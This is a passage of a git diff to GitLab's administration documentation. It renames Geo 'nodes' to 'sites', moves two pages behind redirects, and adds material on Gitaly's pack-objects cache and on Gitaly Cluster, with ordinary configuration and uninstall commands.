working on -the **secondary** node before following the next steps. +the **secondary** site before following the next steps. -The following steps should be done on each **secondary** node you're +The following steps should be done on each **secondary** site you're expecting to see the Docker images replicated. -Because we need to allow the **secondary** node to communicate securely with -the **primary** node Container Registry, we need to have a single key -pair for all the nodes. The **secondary** node will use this key to +Because we need to allow the **secondary** site to communicate securely with +the **primary** site Container Registry, we need to have a single key +pair for all the sites. The **secondary** site will use this key to generate a short-lived JWT that is pull-only-capable to access the -**primary** node Container Registry. +**primary** site Container Registry. -1. SSH into the **secondary** node and login as the `root` user: +For each application and Sidekiq node on the **secondary** site: + +1. SSH into the node and login as the `root` user: ```shell sudo -i ``` -1. Copy `/var/opt/gitlab/gitlab-rails/etc/gitlab-registry.key` from the **primary** to the **secondary** node. +1. Copy `/var/opt/gitlab/gitlab-rails/etc/gitlab-registry.key` from the **primary** to the node. 1. Edit `/etc/gitlab/gitlab.rb`: @@ -114,7 +116,7 @@ generate a short-lived JWT that is pull-only-capable to access the gitlab_rails['geo_registry_replication_primary_api_url'] = 'https://primary.example.com:5050/' # Primary registry address, it will be used by the secondary node to directly communicate to primary registry ``` -1. Reconfigure the **secondary** node for the change to take effect: +1. Reconfigure the node for the change to take effect: ```shell gitlab-ctl reconfigure @@ -123,6 +125,6 @@ generate a short-lived JWT that is pull-only-capable to access the ### Verify replication To verify Container Registry replication is working, go to **Admin Area > Geo** -(`/admin/geo/nodes`) on the **secondary** node. +(`/admin/geo/nodes`) on the **secondary** site. The initial replication, or "backfill", will probably still be in progress. -You can monitor the synchronization process on each Geo node from the **primary** node's **Geo Nodes** dashboard in your browser. +You can monitor the synchronization process on each Geo site from the **primary** site's **Geo Nodes** dashboard in your browser. diff --git a/doc/administration/geo/replication/geo_validation_tests.md b/doc/administration/geo/replication/geo_validation_tests.md index f050d3e708c..06fd3cd70be 100644 --- a/doc/administration/geo/replication/geo_validation_tests.md +++ b/doc/administration/geo/replication/geo_validation_tests.md @@ -148,13 +148,13 @@ The following are PostgreSQL upgrade validation tests we performed. [PostgreSQL 11 upgrade procedure for Geo installations](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/4975): - Description: Prior to making PostgreSQL 11 the default version of PostgreSQL in GitLab 12.10, we - tested upgrading to PostgreSQL 11 in Geo deployments on GitLab 12.9. + tested upgrading to PostgreSQL 11 in Geo deployments in GitLab 12.9. - Outcome: Partially successful. Issues were discovered in multi-node configurations with a separate tracking database and concerns were raised about allowing automatic upgrades when Geo enabled. - Follow up issues: - [`replicate-geo-database` incorrectly tries to back up repositories](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5241). - [`pg-upgrade` fails to upgrade a standalone Geo tracking database](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5242). - - [`revert-pg-upgrade` fails to downgrade the PostgreSQL data of a Geo secondary’s standalone tracking database](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5243). + - [`revert-pg-upgrade` fails to downgrade the PostgreSQL data of a Geo secondary's standalone tracking database](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5243). - [Timeout error on Geo secondary read-replica near the end of `gitlab-ctl pg-upgrade`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5235). [Verify Geo installation with PostgreSQL 11](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/4971): diff --git a/doc/administration/geo/replication/remove_geo_node.md b/doc/administration/geo/replication/remove_geo_node.md index 06cf5375f0d..09ea84b6c4b 100644 --- a/doc/administration/geo/replication/remove_geo_node.md +++ b/doc/administration/geo/replication/remove_geo_node.md @@ -1,58 +1,8 @@ --- -stage: Enablement -group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -type: howto +redirect_to: '../../geo/replication/remove_geo_site.md' --- -# Removing secondary Geo nodes **(PREMIUM SELF)** +This document was moved to [another location](../../geo/replication/remove_geo_site.md). -**Secondary** nodes can be removed from the Geo cluster using the Geo administration page of the **primary** node. To remove a **secondary** node: - -1. Go to **Admin Area > Geo** (`/admin/geo/nodes`). -1. Click the **Remove** button for the **secondary** node you want to remove. -1. Confirm by clicking **Remove** when the prompt appears. - -Once removed from the Geo administration page, you must stop and uninstall the **secondary** node: - -1. On the **secondary** node, stop GitLab: - - ```shell - sudo gitlab-ctl stop - ``` - -1. On the **secondary** node, uninstall GitLab: - - ```shell - # Stop gitlab and remove its supervision process - sudo gitlab-ctl uninstall - - # Debian/Ubuntu - sudo dpkg --remove gitlab-ee - - # Redhat/Centos - sudo rpm --erase gitlab-ee - ``` - -Once GitLab has been uninstalled from the **secondary** node, the replication slot must be dropped from the **primary** node's database as follows: - -1. On the **primary** node, start a PostgreSQL console session: - - ```shell - sudo gitlab-psql - ``` - - NOTE: - Using `gitlab-rails dbconsole` will not work, because managing replication slots requires superuser permissions. - -1. Find the name of the relevant replication slot. This is the slot that is specified with `--slot-name` when running the replicate command: `gitlab-ctl replicate-geo-database`. - - ```sql - SELECT * FROM pg_replication_slots; - ``` - -1. Remove the replication slot for the **secondary** node: - - ```sql - SELECT pg_drop_replication_slot('<name_of_slot>'); - ``` +<!-- This redirect file can be deleted after 2022-04-01 --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/geo/replication/remove_geo_site.md b/doc/administration/geo/replication/remove_geo_site.md new file mode 100644 index 00000000000..a42a4c4eb47 --- /dev/null +++ b/doc/administration/geo/replication/remove_geo_site.md @@ -0,0 +1,58 @@ +--- +stage: Enablement +group: Geo +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: howto +--- + +# Removing secondary Geo sites **(PREMIUM SELF)** + +**Secondary** sites can be removed from the Geo cluster using the Geo administration page of the **primary** site. To remove a **secondary** site: + +1. Go to **Admin Area > Geo** (`/admin/geo/nodes`). +1. Select the **Remove** button for the **secondary** site you want to remove. +1. Confirm by selecting **Remove** when the prompt appears. + +Once removed from the Geo administration page, you must stop and uninstall the **secondary** site. For each node on your secondary Geo site: + +1. Stop GitLab: + + ```shell + sudo gitlab-ctl stop + ``` + +1. Uninstall GitLab: + + ```shell + # Stop gitlab and remove its supervision process + sudo gitlab-ctl uninstall + + # Debian/Ubuntu + sudo dpkg --remove gitlab-ee + + # Redhat/Centos + sudo rpm --erase gitlab-ee + ``` + +Once GitLab has been uninstalled from each node on the **secondary** site, the replication slot must be dropped from the **primary** site's database as follows: + +1. On the **primary** site's database node, start a PostgreSQL console session: + + ```shell + sudo gitlab-psql + ``` + + NOTE: + Using `gitlab-rails dbconsole` will not work, because managing replication slots requires superuser permissions. + +1. Find the name of the relevant replication slot. This is the slot that is specified with `--slot-name` when running the replicate command: `gitlab-ctl replicate-geo-database`. + + ```sql + SELECT * FROM pg_replication_slots; + ``` + +1. Remove the replication slot for the **secondary** site: + + ```sql + SELECT pg_drop_replication_slot('<name_of_slot>'); + ``` diff --git a/doc/administration/geo/replication/security_review.md b/doc/administration/geo/replication/security_review.md index c31881910bc..abb84b95623 100644 --- a/doc/administration/geo/replication/security_review.md +++ b/doc/administration/geo/replication/security_review.md @@ -34,7 +34,7 @@ from [owasp.org](https://owasp.org/). ### How can the data be classified into categories according to its sensitivity? - The GitLab model of sensitivity is centered around public vs. internal vs. - private projects. Geo replicates them all indiscriminately. “Selective sync” + private projects. Geo replicates them all indiscriminately. "Selective sync" exists for files and repositories (but not database content), which would permit only less-sensitive projects to be replicated to a **secondary** node if desired. - See also: [GitLab data classification policy](https://about.gitlab.com/handbook/engineering/security/data-classification-standard.html). @@ -81,7 +81,7 @@ from [owasp.org](https://owasp.org/). considered an administrator with super-user privileges. - See also: [more granular access control](https://gitlab.com/gitlab-org/gitlab/-/issues/18242) (not Geo-specific). -- Much of Geo’s integration (database replication, for instance) must be +- Much of Geo's integration (database replication, for instance) must be configured with the application, typically by system administrators. ### What administrative capabilities does the application offer? @@ -165,7 +165,7 @@ from [owasp.org](https://owasp.org/). ### What aspects of the product may or may not be hosted via the cloud computing model? -- GitLab is “cloud native” and this applies to Geo as much as to the rest of the +- GitLab is "cloud native" and this applies to Geo as much as to the rest of the product. Deployment in clouds is a common and supported scenario. ## If applicable, what approach(es) to cloud computing will be taken (Managed Hosting versus "Pure" Cloud, a "full machine" approach such as AWS-EC2 versus a "hosted database" approach such as AWS-RDS and Azure, etc)? @@ -223,7 +223,7 @@ from [owasp.org](https://owasp.org/). ### What data input validation requirements have been defined? -- **Secondary** nodes must have a faithful replication of the **primary** node’s data. +- **Secondary** nodes must have a faithful replication of the **primary** node's data. ### What data does the application store and how? @@ -235,7 +235,7 @@ from [owasp.org](https://owasp.org/). rest. A subset of database columns are encrypted at rest using the `db_otp_key`. - A static secret shared across all hosts in a GitLab deployment. - In transit, data should be encrypted, although the application does permit - communication to proceed unencrypted. The two main transits are the **secondary** node’s + communication to proceed unencrypted. The two main transits are the **secondary** node's replication process for PostgreSQL, and for Git repositories/files. Both should be protected using TLS, with the keys for that managed via Omnibus per existing configuration for end-user access to GitLab. diff --git a/doc/administration/geo/replication/usage.md b/doc/administration/geo/replication/usage.md new file mode 100644 index 00000000000..2fcc0565567 --- /dev/null +++ b/doc/administration/geo/replication/usage.md @@ -0,0 +1,27 @@ +--- +stage: Enablement +group: Geo +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: howto +--- + +<!-- Please update EE::GitLab::GeoGitAccess::GEO_SERVER_DOCS_URL if this file is moved) --> + +# Using a Geo Site **(PREMIUM SELF)** + +After you set up the [database replication and configure the Geo nodes](../index.md#setup-instructions), use your closest GitLab site as you would do with the primary one. + +You can push directly to a **secondary** site (for both HTTP, SSH including Git LFS), and the request will be proxied to the primary site instead ([introduced](https://about.gitlab.com/releases/2018/09/22/gitlab-11-3-released/) in [GitLab Premium](https://about.gitlab.com/pricing/#self-managed) 11.3). + +Example of the output you will see when pushing to a **secondary** site: + +```shell +$ git push +remote: +remote: This request to a Geo secondary node will be forwarded to the +remote: Geo primary node: +remote: +remote: ssh://git@primary.geo/user/repo.git +remote: +Everything up-to-date +``` diff --git a/doc/administration/geo/replication/using_a_geo_server.md b/doc/administration/geo/replication/using_a_geo_server.md index 7578b6bf61a..e48e750f710 100644 --- a/doc/administration/geo/replication/using_a_geo_server.md +++ b/doc/administration/geo/replication/using_a_geo_server.md @@ -1,27 +1,8 @@ --- -stage: Enablement -group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -type: howto +redirect_to: '../../geo/replication/usage.md' --- -<!-- Please update EE::GitLab::GeoGitAccess::GEO_SERVER_DOCS_URL if this file is moved) --> +This document was moved to [another location](../../geo/replication/usage.md). -# Using a Geo Server **(PREMIUM SELF)** - -After you set up the [database replication and configure the Geo nodes](../index.md#setup-instructions), use your closest GitLab node as you would a normal standalone GitLab instance. - -Pushing directly to a **secondary** node (for both HTTP, SSH including Git LFS) was [introduced](https://about.gitlab.com/releases/2018/09/22/gitlab-11-3-released/) in [GitLab Premium](https://about.gitlab.com/pricing/#self-managed) 11.3. - -Example of the output you will see when pushing to a **secondary** node: - -```shell -$ git push -remote: -remote: You're pushing to a Geo secondary. We'll help you by proxying this -remote: request to the primary: -remote: -remote: ssh://git@primary.geo/user/repo.git -remote: -Everything up-to-date -``` +<!-- This redirect file can be deleted after 2022-04-01 --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/geo/replication/version_specific_updates.md b/doc/administration/geo/replication/version_specific_updates.md index 883e5d44b69..4f0a4dc638c 100644 --- a/doc/administration/geo/replication/version_specific_updates.md +++ b/doc/administration/geo/replication/version_specific_updates.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Version-specific update instructions +# Version-specific update instructions **(PREMIUM SELF)** Review this page for update instructions for your version. These steps accompany the [general steps](updating_the_geo_nodes.md#general-update-steps) diff --git a/doc/administration/geo/setup/database.md b/doc/administration/geo/setup/database.md index 7128d4283d1..9c2cc8fc62e 100644 --- a/doc/administration/geo/setup/database.md +++ b/doc/administration/geo/setup/database.md @@ -672,7 +672,7 @@ For each Patroni instance on the secondary site: ## Migrating from repmgr to Patroni 1. Before migrating, it is recommended that there is no replication lag between the primary and secondary sites and that replication is paused. In GitLab 13.2 and later, you can pause and resume replication with `gitlab-ctl geo-replication-pause` and `gitlab-ctl geo-replication-resume` on a Geo secondary database node. -1. Follow the [instructions to migrate repmgr to Patroni](../../postgresql/replication_and_failover.md#switching-from-repmgr-to-patroni). When configuring Patroni on each primary site database node, add `patroni['replicaton_slots'] = { '<slot_name>' => 'physical' }` +1. Follow the [instructions to migrate repmgr to Patroni](../../postgresql/replication_and_failover.md#switching-from-repmgr-to-patroni). When configuring Patroni on each primary site database node, add `patroni['replication_slots'] = { '<slot_name>' => 'physical' }` to `gitlab.rb` where `<slot_name>` is the name of the replication slot for your Geo secondary. This will ensure that Patroni recognizes the replication slot as permanent and will not drop it upon restarting. 1. If database replication to the secondary was paused before migration, resume replication once Patroni is confirmed working on the primary. diff --git a/doc/administration/geo/setup/index.md b/doc/administration/geo/setup/index.md index 8308cbfa82e..5ec18e29f21 100644 --- a/doc/administration/geo/setup/index.md +++ b/doc/administration/geo/setup/index.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Setting up Geo +# Setting up Geo **(PREMIUM SELF)** These instructions assume you have a working instance of GitLab. They guide you through: diff --git a/doc/administration/gitaly/configure_gitaly.md b/doc/administration/gitaly/configure_gitaly.md index 7e3647d1e34..51ad376a625 100644 --- a/doc/administration/gitaly/configure_gitaly.md +++ b/doc/administration/gitaly/configure_gitaly.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Configure Gitaly +# Configure Gitaly **(FREE SELF)** The Gitaly service itself is configured by using a [TOML configuration file](reference.md). @@ -941,3 +941,226 @@ result as you did at the start. For example: ``` Note that `enforced="true"` means that authentication is being enforced. + +## Pack-objects cache **(FREE SELF)** + +> - [Introduced](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/372) in GitLab 13.11. +> - It's enabled on GitLab.com. +> - It's recommended for production use. + +[Gitaly](index.md), the service that provides storage for Git +repositories, can be configured to cache a short rolling window of Git +fetch responses. This can reduce server load when your server receives +lots of CI fetch traffic. + +### Overview + +The pack-objects cache wraps `git pack-objects`, an internal part of +Git that gets invoked indirectly via the PostUploadPack and +SSHUploadPack Gitaly RPCs. These are the RPCs that Gitaly runs when a +user does a Git fetch via HTTP or SSH, respectively. When the cache is +enabled, anything that uses PostUploadPack or SSHUploadPack can +benefit from it. It is orthogonal to: + +- The transport (HTTP or SSH). +- Git protocol version (v0 or v2). +- The type of fetch (full clones, incremental fetches, shallow clones, + partial clones, and so on). + +The strength of this cache is its ability to deduplicate concurrent +identical fetches. It: + +- Can benefit GitLab instances where your users run CI/CD pipelines with many concurrent jobs. + There should be a noticeable reduction in server CPU utilization. +- Does not benefit unique fetches at all. For example, if you run a spot check by cloning a + repository to your local computer, you are unlikely to see a benefit from this cache because + your fetch is probably unique. + +The pack-objects cache is a local cache. It: + +- Stores its metadata in the memory of the Gitaly process it is enabled in. +- Stores the actual Git data it is caching in files on local storage. + +Using local files has the benefit that the operating system may +automatically keep parts of the pack-objects cache files in RAM, +making it faster. + +Because the pack-objects cache can lead to a significant increase in +disk write IO, it is off by default. + +### Configure the cache + +These are the configuration settings for the pack-objects cache. Each +setting is discussed in greater detail below. + +|Setting|Default|Description| +|:---|:---|:---| +|`enabled`|`false`|Turns on the cache. When off, Gitaly runs a dedicated `git pack-objects` process for each request. | +|`dir`|`<PATH TO FIRST STORAGE>/+gitaly/PackObjectsCache`|Local directory where cache files get stored.| +|`max_age`|`5m` (5 minutes)|Cache entries older than this get evicted and removed from disk.| + +In `/etc/gitlab/gitlab.rb`, set: + +```ruby +gitaly['pack_objects_cache_enabled'] = true +## gitaly['pack_objects_cache_dir'] = '/var/opt/gitlab/git-data/repositories/+gitaly/PackObjectsCache' +## gitaly['pack_objects_cache_max_age'] = '5m' +``` + +#### `enabled` defaults to `false` + +The cache is disabled by default. This is because in some cases, it +can create an [extreme +increase](https://gitlab.com/gitlab-com/gl-infra/production/-/issues/4010#note_534564684) +in the number of bytes written to disk. On GitLab.com, we have verified +that our repository storage disks can handle this extra workload, but +we felt we cannot assume this is true everywhere. + +#### Cache storage directory `dir` + +The cache needs a directory to store its files in. This directory +should be: + +- In a filesystem with enough space. If the cache filesystem runs out of space, all + fetches start failing. +- On a disk with enough IO bandwidth. If the cache disk runs out of IO bandwidth, all + fetches, and probably the entire server, slows down. + +By default, the cache storage directory is set to a subdirectory of the first Gitaly storage +defined in the configuration file. + +Multiple Gitaly processes can use the same directory for cache storage. Each Gitaly process +uses a unique random string as part of the cache filenames it creates. This means: + +- They do not collide. +- They do not reuse another process's files. + +While the default directory puts the cache files in the same +filesystem as your repository data, this is not requirement. You can +put the cache files on a different filesystem if that works better for +your infrastructure. + +The amount of IO bandwidth required from the disk depends on: + +- The size and shape of the repositories on your Gitaly server. +- The kind of traffic your users generate. + +You can use the `gitaly_pack_objects_generated_bytes_total` metric as a pessimistic estimate, +pretending your cache hit ratio is 0%. + +The amount of space required depends on: + +- The bytes per second that your users pull from the cache. +- The size of the `max_age` cache eviction window. + +If your users pull 100 MB/s and you use a 5 minute window, then on average you have +`5*60*100MB = 30GB` of data in your cache directory. This is an expected average, not +a guarantee. Peak size may exceed this average. + +#### Cache eviction window `max_age` + +The `max_age` configuration setting lets you control the chance of a +cache hit and the average amount of storage used by cache files. +Entries older than `max_age` get evicted from the in-memory metadata +store, and deleted from disk. + +Note that eviction does not interfere with ongoing requests, so it is OK +for `max_age` to be less than the time it takes to do a fetch over a +slow connection. This is because Unix filesystems do not truly delete +a file until all processes that are reading the deleted file have +closed it. + +### Observe the cache + +The cache can be observed in logs and using metrics. + +#### Logs + +|Message|Fields|Description| +|:---|:---|:---| +|`generated bytes`|`bytes`, `cache_key`|Logged when an entry was added to the cache| +|`served bytes`|`bytes`, `cache_key`|Logged when an entry was read from the cache| + +In the case of a: + +- Cache miss, Gitaly logs both a `generated bytes` and a `served bytes` message. +- Cache hit, Gitaly logs only a `served bytes` message. + +Example: + +```json +{ + "bytes":26186490, + "cache_key":"1b586a2698ca93c2529962e85cda5eea8f0f2b0036592615718898368b462e19", + "correlation_id":"01F1MY8JXC3FZN14JBG1H42G9F", + "grpc.meta.deadline_type":"none", + "grpc.method":"PackObjectsHook", + "grpc.request.fullMethod":"/gitaly.HookService/PackObjectsHook", + "grpc.request.glProjectPath":"root/gitlab-workhorse", + "grpc.request.glRepository":"project-2", + "grpc.request.repoPath":"@hashed/d4/73/d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35.git", + "grpc.request.repoStorage":"default", + "grpc.request.topLevelGroup":"@hashed", + "grpc.service":"gitaly.HookService", + "grpc.start_time":"2021-03-25T14:57:52.747Z", + "level":"info", + "msg":"generated bytes", + "peer.address":"@", + "pid":20961, + "span.kind":"server", + "system":"grpc", + "time":"2021-03-25T14:57:53.543Z" +} +{ + "bytes":26186490, + "cache_key":"1b586a2698ca93c2529962e85cda5eea8f0f2b0036592615718898368b462e19", + "correlation_id":"01F1MY8JXC3FZN14JBG1H42G9F", + "grpc.meta.deadline_type":"none", + "grpc.method":"PackObjectsHook", + "grpc.request.fullMethod":"/gitaly.HookService/PackObjectsHook", + "grpc.request.glProjectPath":"root/gitlab-workhorse", + "grpc.request.glRepository":"project-2", + "grpc.request.repoPath":"@hashed/d4/73/d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35.git", + "grpc.request.repoStorage":"default", + "grpc.request.topLevelGroup":"@hashed", + "grpc.service":"gitaly.HookService", + "grpc.start_time":"2021-03-25T14:57:52.747Z", + "level":"info", + "msg":"served bytes", + "peer.address":"@", + "pid":20961, + "span.kind":"server", + "system":"grpc", + "time":"2021-03-25T14:57:53.543Z" +} +``` + +#### Metrics + +The following cache metrics are available. + +|Metric|Type|Labels|Description| +|:---|:---|:---|:---| +|`gitaly_pack_objects_cache_enabled`|gauge|`dir`,`max_age`|Set to `1` when the cache is enabled via the Gitaly config file| +|`gitaly_pack_objects_cache_lookups_total`|counter|`result`|Hit/miss counter for cache lookups| +|`gitaly_pack_objects_generated_bytes_total`|counter||Number of bytes written into the cache| +|`gitaly_pack_objects_served_bytes_total`|counter||Number of bytes read from the cache| +|`gitaly_streamcache_filestore_disk_usage_bytes`|gauge|`dir`|Total size of cache files| +|`gitaly_streamcache_index_entries`|gauge|`dir`|Number of entries in the cache| + +Some of these metrics start with `gitaly_streamcache` +because they are generated by the "streamcache" internal library +package in Gitaly. + +Example: + +```plaintext +gitaly_pack_objects_cache_enabled{dir="/var/opt/gitlab/git-data/repositories/+gitaly/PackObjectsCache",max_age="300"} 1 +gitaly_pack_objects_cache_lookups_total{result="hit"} 2 +gitaly_pack_objects_cache_lookups_total{result="miss"} 1 +gitaly_pack_objects_generated_bytes_total 2.618649e+07 +gitaly_pack_objects_served_bytes_total 7.855947e+07 +gitaly_streamcache_filestore_disk_usage_bytes{dir="/var/opt/gitlab/git-data/repositories/+gitaly/PackObjectsCache"} 2.6200152e+07 +gitaly_streamcache_filestore_removed_total{dir="/var/opt/gitlab/git-data/repositories/+gitaly/PackObjectsCache"} 1 +gitaly_streamcache_index_entries{dir="/var/opt/gitlab/git-data/repositories/+gitaly/PackObjectsCache"} 1 +``` diff --git a/doc/administration/gitaly/img/architecture_v12_4.png b/doc/administration/gitaly/img/architecture_v12_4.png Binary files differdeleted file mode 100644 index 6a3955a483b..00000000000 --- a/doc/administration/gitaly/img/architecture_v12_4.png +++ /dev/null diff --git a/doc/administration/gitaly/index.md b/doc/administration/gitaly/index.md index b314fa85af7..1a8e18ca2b2 100644 --- a/doc/administration/gitaly/index.md +++ b/doc/administration/gitaly/index.md @@ -5,72 +5,296 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Gitaly +# Gitaly and Gitaly Cluster **(FREE SELF)** -[Gitaly](https://gitlab.com/gitlab-org/gitaly) is the service that provides high-level RPC access to -Git repositories. Without it, no GitLab components can read or write Git data. +[Gitaly](https://gitlab.com/gitlab-org/gitaly) provides high-level RPC access to Git repositories. +It is used by GitLab to read and write Git data. -In the Gitaly documentation: +Gitaly implements a client-server architecture: -- **Gitaly server** refers to any node that runs Gitaly itself. -- **Gitaly client** refers to any node that runs a process that makes requests of the - Gitaly server. Processes include, but are not limited to: +- A Gitaly server is any node that runs Gitaly itself. +- A Gitaly client is any node that runs a process that makes requests of the Gitaly server. These + include, but are not limited to: - [GitLab Rails application](https://gitlab.com/gitlab-org/gitlab). - [GitLab Shell](https://gitlab.com/gitlab-org/gitlab-shell). - [GitLab Workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse). -GitLab end users do not have direct access to Gitaly. Gitaly manages only Git -repository access for GitLab. Other types of GitLab data aren't accessed using Gitaly. +The following illustrates the Gitaly client-server architecture: + +```mermaid +flowchart TD + subgraph Gitaly clients + A[GitLab Rails] + B[GitLab Workhorse] + C[GitLab Shell] + D[...] + end + + subgraph Gitaly + E[Git integration] + end + +F[Local filesystem] + +A -- gRPC --> Gitaly +B -- gRPC--> Gitaly +C -- gRPC --> Gitaly +D -- gRPC --> Gitaly + +E --> F +``` + +End users do not have direct access to Gitaly. Gitaly manages only Git repository access for GitLab. +Other types of GitLab data aren't accessed using Gitaly. <!-- vale gitlab.FutureTense = NO --> WARNING: -From GitLab 13.0, Gitaly support for NFS is deprecated. As of GitLab 14.0, NFS-related issues -with Gitaly will no longer be addressed. Upgrade to [Gitaly Cluster](praefect.md) as soon as -possible. Tools to [enable bulk moves](https://gitlab.com/groups/gitlab-org/-/epics/4916) -of projects to Gitaly Cluster are planned. +From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be +considered and customer technical support will be considered out of scope. +[Read more about Gitaly and NFS](#nfs-deprecation-notice). <!-- vale gitlab.FutureTense = YES --> -## Architecture +## Configure Gitaly -The following is a high-level architecture overview of how Gitaly is used. +Gitaly comes pre-configured with Omnibus GitLab, which is a configuration +[suitable for up to 1000 users](../reference_architectures/1k_users.md). For: - +- Omnibus GitLab installations for up to 2000 users, see [specific Gitaly configuration instructions](../reference_architectures/2k_users.md#configure-gitaly). +- Source installations or custom Gitaly installations, see [Configure Gitaly](#configure-gitaly). -## Configure Gitaly +GitLab installations for more than 2000 users should use Gitaly Cluster. + +NOTE: +If not set in GitLab, feature flags are read as false from the console and Gitaly uses their +default value. The default value depends on the GitLab version. + +## Gitaly Cluster + +Gitaly, the service that provides storage for Git repositories, can +be run in a clustered configuration to scale the Gitaly service and increase +fault tolerance. In this configuration, every Git repository is stored on every +Gitaly node in the cluster. + +Using a Gitaly Cluster increases fault tolerance by: + +- Replicating write operations to warm standby Gitaly nodes. +- Detecting Gitaly node failures. +- Automatically routing Git requests to an available Gitaly node. + +NOTE: +Technical support for Gitaly clusters is limited to GitLab Premium and Ultimate +customers. + +The availability objectives for Gitaly clusters are: + +- **Recovery Point Objective (RPO):** Less than 1 minute. + + Writes are replicated asynchronously. Any writes that have not been replicated + to the newly promoted primary are lost. + + [Strong consistency](praefect.md#strong-consistency) can be used to avoid loss in some + circumstances. + +- **Recovery Time Objective (RTO):** Less than 10 seconds. + Outages are detected by a health check run by each Praefect node every + second. Failover requires ten consecutive failed health checks on each + Praefect node. + + [Faster outage detection](https://gitlab.com/gitlab-org/gitaly/-/issues/2608) + is planned to improve this to less than 1 second. + +Gitaly Cluster supports: + +- [Strong consistency](praefect.md#strong-consistency) of the secondary replicas. +- [Automatic failover](praefect.md#automatic-failover-and-leader-election) from the primary to the secondary. +- Reporting of possible data loss if replication queue is non-empty. +- Marking repositories as [read only](praefect.md#read-only-mode) if data loss is detected to prevent data inconsistencies. + +Follow the [Gitaly Cluster epic](https://gitlab.com/groups/gitlab-org/-/epics/1489) +for improvements including +[horizontally distributing reads](https://gitlab.com/groups/gitlab-org/-/epics/2013). + +### Overview + +Git storage is provided through the Gitaly service in GitLab, and is essential +to the operation of the GitLab application. When the number of +users, repositories, and activity grows, it is important to scale Gitaly +appropriately by: + +- Increasing the available CPU and memory resources available to Git before + resource exhaustion degrades Git, Gitaly, and GitLab application performance. +- Increase available storage before storage limits are reached causing write + operations to fail. +- Improve fault tolerance by removing single points of failure. Git should be + considered mission critical if a service degradation would prevent you from + deploying changes to production. + +### Moving beyond NFS + +WARNING: +From GitLab 13.0, using NFS for Git repositories is deprecated. In GitLab 14.0, +support for NFS for Git repositories is scheduled to be removed. Upgrade to +Gitaly Cluster as soon as possible. + +[Network File System (NFS)](https://en.wikipedia.org/wiki/Network_File_System) +is not well suited to Git workloads which are CPU and IOPS sensitive. +Specifically: + +- Git is sensitive to file system latency. Even simple operations require many + read operations. Operations that are fast on block storage can become an order of + magnitude slower. This significantly impacts GitLab application performance. +- NFS performance optimizations that prevent the performance gap between + block storage and NFS being even wider are vulnerable to race conditions. We have observed + [data inconsistencies](https://gitlab.com/gitlab-org/gitaly/-/issues/2589) + in production environments caused by simultaneous writes to different NFS + clients. Data corruption is not an acceptable risk. + +Gitaly Cluster is purpose built to provide reliable, high performance, fault +tolerant Git storage. + +Further reading: + +- Blog post: [The road to Gitaly v1.0 (aka, why GitLab doesn't require NFS for storing Git data anymore)](https://about.gitlab.com/blog/2018/09/12/the-road-to-gitaly-1-0/) +- Blog post: [How we spent two weeks hunting an NFS bug in the Linux kernel](https://about.gitlab.com/blog/2018/11/14/how-we-spent-two-weeks-hunting-an-nfs-bug/) + +### Where Gitaly Cluster fits + +GitLab accesses [repositories](../../user/project/repository/index.md) through the configured +[repository storages](../repository_storage_paths.md). Each new repository is stored on one of the +repository storages based on their configured weights. Each repository storage is either: + +- A Gitaly storage served directly by Gitaly. These map to a directory on the file system of a + Gitaly node. +- A [virtual storage](#virtual-storage-or-direct-gitaly-storage) served by Praefect. A virtual + storage is a cluster of Gitaly storages that appear as a single repository storage. + +Virtual storages are a feature of Gitaly Cluster. They support replicating the repositories to +multiple storages for fault tolerance. Virtual storages can improve performance by distributing +requests across Gitaly nodes. Their distributed nature makes it viable to have a single repository +storage in GitLab to simplify repository management. + +### Components of Gitaly Cluster + +Gitaly Cluster consists of multiple components: + +- [Load balancer](praefect.md#load-balancer) for distributing requests and providing fault-tolerant access to + Praefect nodes. +- [Praefect](praefect.md#praefect) nodes for managing the cluster and routing requests to Gitaly nodes. +- [PostgreSQL database](praefect.md#postgresql) for persisting cluster metadata and [PgBouncer](praefect.md#pgbouncer), + recommended for pooling Praefect's database connections. +- Gitaly nodes to provide repository storage and Git access. + + + +In this example: + +- Repositories are stored on a virtual storage called `storage-1`. +- Three Gitaly nodes provide `storage-1` access: `gitaly-1`, `gitaly-2`, and `gitaly-3`. +- The three Gitaly nodes store data on their file systems. + +### Virtual storage or direct Gitaly storage + +Gitaly supports multiple models of scaling: + +- Clustering using Gitaly Cluster, where each repository is stored on multiple Gitaly nodes in the + cluster. Read requests are distributed between repository replicas and write requests are + broadcast to repository replicas. GitLab accesses virtual storage. +- Direct access to Gitaly storage using [repository storage paths](../repository_storage_paths.md), + where each repository is stored on the assigned Gitaly node. All requests are routed to this node. -Gitaly comes pre-configured with Omnibus GitLab. For more information on customizing your -Gitaly installation, see [Configure Gitaly](configure_gitaly.md). +The following is Gitaly set up to use direct access to Gitaly instead of Gitaly Cluster: -## Direct Git access 